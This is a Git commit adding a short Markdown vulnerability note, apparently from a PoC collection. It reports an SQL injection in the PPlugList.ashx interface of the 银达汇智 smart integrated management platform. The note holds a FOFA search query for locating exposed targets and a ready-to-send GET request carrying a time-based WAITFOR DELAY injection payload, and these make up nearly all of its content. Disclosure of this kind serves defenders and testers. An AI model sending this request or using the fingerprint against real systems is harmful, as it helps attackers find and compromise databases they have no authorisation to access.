Create 银达汇智智慧综合管理平台PPlugList接口存在SQL注入.md

This commit is contained in:
Rainyseason 2025-06-11 15:12:24 +08:00 committed by GitHub
parent 7fc2302ae5
commit debdc33017
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194

View File

@ -0,0 +1,11 @@
# 银达汇智智慧综合管理平台PPlugList接口存在SQL注入
# fofa
```
title="智慧综合管理平台登入"
```
# poc
```javascrip
GET /Module/CJGL/Controller/PPlugList.ashx?action=find&PlugIdentID=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27-- HTTP/1.1
```